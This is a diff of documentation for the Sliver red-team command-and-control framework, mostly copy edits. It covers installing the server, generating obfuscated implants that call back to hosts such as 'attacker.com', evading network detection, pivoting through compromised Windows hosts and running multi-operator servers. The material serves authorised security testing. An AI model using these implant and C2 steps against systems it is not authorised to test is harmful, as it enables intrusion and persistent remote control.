GPG siging is deprecated and should be avoided, use the [Minisign public key](/docs?name=Minisign+Public+Key) to verify binaries.
@@ -1,16 +1,16 @@
Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
Sliver is designed for a one server deployment per operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode).
Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
Obfuscated builds require `git` to be installed. Additionally, Sliver has an external dependencies for _optional_ features: Metasploit. To enable some MSF integrations you'll need Metasploit installed on the server.
For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash`
For a Linux server, you can also use the one-liner installation `curl https://sliver.sh/install|sudo bash`
```asciinema
{"src": "/asciinema/install-1.cast", "cols": "132"}
```
If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`):
If you install Sliver via the one-liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctl start sliver`):
```asciinema
{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
@@ -18,23 +18,7 @@ If you install Sliver via the one liner, you can check that the server service i
#### System Requirements
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
### MinGW Setup (Optional, Recommended)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables).
#### Linux (Debian-based)
```
apt install git mingw-w64
```
#### MacOS
```
brew install git mingw-w64
```
The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low-resource systems to work around hardware limitations of the server (e.g. a low-powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console.
**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW.
@@ -46,9 +30,9 @@ We strongly recommend using the [nightly framework installers](https://github.co
## Implants: Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang.
Sliver is generally designed as a stage 2 payload, and as such we have not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Go.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Sliver implants support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server, retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real-time session using either a persistent connection or long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
@@ -70,7 +54,7 @@ Generating implants is done using the `generate` command, you must specify at le
{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"}
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Go GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Go GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
@@ -98,7 +82,7 @@ MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB
SICK_SPY darwin/amd64 false EXECUTABLE
```
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) come after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
@@ -108,7 +92,7 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
#### Additional Details
For addition details about each C2 please see:
For additional details about each C2 please see:
- [HTTP(S) C2](/docs?name=HTTPS+C2)
- [DNS C2](/docs?name=DNS+C2)
@@ -152,11 +136,11 @@ sliver (LONG_DRAMATURGE) > ls
LONG_DRAMATURGE 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting) (TL;DR: add the `--debug` flag when generating an implant).
### Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own ID and this ID is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab-complete for the UUID when using `use`:
```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
@@ -174,7 +158,7 @@ Upon initial execution the beacon will register itself with the C2 server and wi
[server] sliver (RELATIVE_ADVERTISEMENT) >
```
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
You should see a blue prompt indicating that we're interacting with a beacon as opposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
@@ -241,7 +225,7 @@ sliver > generate --mtls foo.com,bar.com,baz.com --strategy r
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
Most commands have a `--help` and support tab-complete, you may also find the following wiki articles of interest:
- [Armory](/docs?name=Armory)
- [Stagers](/docs?name=Stagers)
+10 -10
View File
@@ -2,7 +2,7 @@ Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver do
## Generate the Implant
Sliver implants are compiled with a baked-in (but obfuscated of course) server domain that they will reach back out to. To generate a sliver implant that communicates to a server at `example.com` run the following:
Sliver implants are compiled with a baked-in (but obfuscated) server domain that they will reach back out to. To generate a Sliver implant that communicates to a server at `example.com` run the following:
#### Basic Example
@@ -28,7 +28,7 @@ sliver > generate --http example.com,attacker.com
#### URL Prefixes and Other Options
Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP re-directors, etc. To add a URL prefix simply add a path to the domain as shown below:
Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP redirectors, etc. To add a URL prefix simply add a path to the domain as shown below:
```
sliver > generate --http example.com/foo/bar
@@ -67,7 +67,7 @@ The priority of retrieval is the following:
#### NTLM/Kerberos Proxy Authentication
You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to convert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
## Start the Listener
@@ -91,9 +91,9 @@ Sliver can stand up a website on your HTTP(S) listener in order to make the serv
websites --website fake-blog --web-path / --content ./index.html add
```
Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key<->value pairs request paths (e.g. `/foo/bar.html`) and response's content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key/value pairs of request paths (e.g. `/foo/bar.html`) and response content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.
**Note:** C2 related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.
**Note:** C2-related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.
To use your website with an HTTP(S) listener, specify it using `--website` when you start the listener:
@@ -119,7 +119,7 @@ sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website
## Modifying C2 Traffic
Starting in v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:
You can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:
⚠️ **WARNING:** Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration _prior to generating any implants_.
@@ -159,13 +159,13 @@ Starting in v1.5 you can make extensive customizations to the HTTP C2 traffic ge
# Under the Hood
This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users want to understand, extend, or are simply curious about Sliver's design.
This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users who want to understand, extend, or are simply curious about Sliver's design.
### Design Goals
The primary goals of the existing HTTP C2 design are to:
- **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration.
- **Reliable Connections** The implant's foremost goal is to get a connection out of the network, regardless of the environment's configuration.
- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details.
- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.
@@ -179,7 +179,7 @@ Each implant is also only embedded with a randomly generated subset of the serve
The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):
1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.
1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted payload so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.
In the default configuration:
@@ -204,7 +204,7 @@ Each of these encoders has a unique "Encoder ID," which is currently hardcoded b
3. Generate a `nonce`, the nonce is equal to a random number times the `EncoderModulus` plus the encoder ID; the `EncoderModulus` is currently a hardcoded constant value, but we may generate this per-server in the future. The server does the opposite (nonce modulo `EncoderModulus`) to determine the original Encoder ID. In code this looks like:
```
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
nonce := (util.Intn(maxN) * EncoderModulus) + encoderID
encoderId := nonce % EncoderModulus
```
@@ -0,0 +1,18 @@
This [Minisign](https://jedisct1.github.io/minisign/) key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.
## Public Key
```
RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
```
[https://sliver.sh/minisign.pub](/minisign.pub)
## Verification
Minisign is available in most Linux package managers, there is also a [Go implementation](https://github.com/aead/minisign).
```
minisign -Vm sliver-server -P RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
```
@@ -1,4 +1,4 @@
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to set up a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode.
```
┌──────────────────┐ C2
@@ -45,7 +45,7 @@ From the server use the `new-operator` command to generate a new operator config
**IMPORTANT:** Before clients can connect to a server you must start an RPC listener with the `multiplayer` command. The default port is TCP/31337.
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` cli. The configs directory can contain multiple configs for different servers.
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The Sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` CLI. The configs directory can contain multiple configs for different servers.
```
$ ./sliver-client import ./moloch_example.com.cfg
@@ -68,9 +68,7 @@ The installation scripts by default will place the `sliver-server` binary in `/r
### Tailscale Integration
⚠️ This section describes an unreleased feature from an upcoming version ⚠️
Starting in v1.6 Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
Sliver v1.6 supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when wanting to maintain operational security.
```
$ export TS_AUTHKEY=<tailscale authkey>
+4 -4
View File
@@ -1,8 +1,8 @@
⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic tcp connections into a target environment.
⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic TCP connections into a target environment.
⚠️ **IMPORTANT:** Pivots can only be used in "session mode" (we may add beacon support later)
Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Sliver v1.5 and later pivots can be arbitrarily nested, for example a pivot A can connect thru pivot B to a third egress implant.
Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Pivots can be arbitrarily nested, for example a pivot A can connect through pivot B to a third egress implant.
In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints.
@@ -42,7 +42,7 @@ Named pipe pivots are only supported on Windows. Select a session to start a nam
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
```
Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar` note here we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `<host>/pipe/<pipe name>`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.
Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar`. Note that we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `<host>/pipe/<pipe name>`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes.
```
[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST
@@ -55,4 +55,4 @@ Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/p
a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
```
⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pviot listener to allow all users/groups
⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pivot listener to allow all users/groups.
Loaded 100 of 2396 files, more files were not shown because too many files have changed in this diff. Show more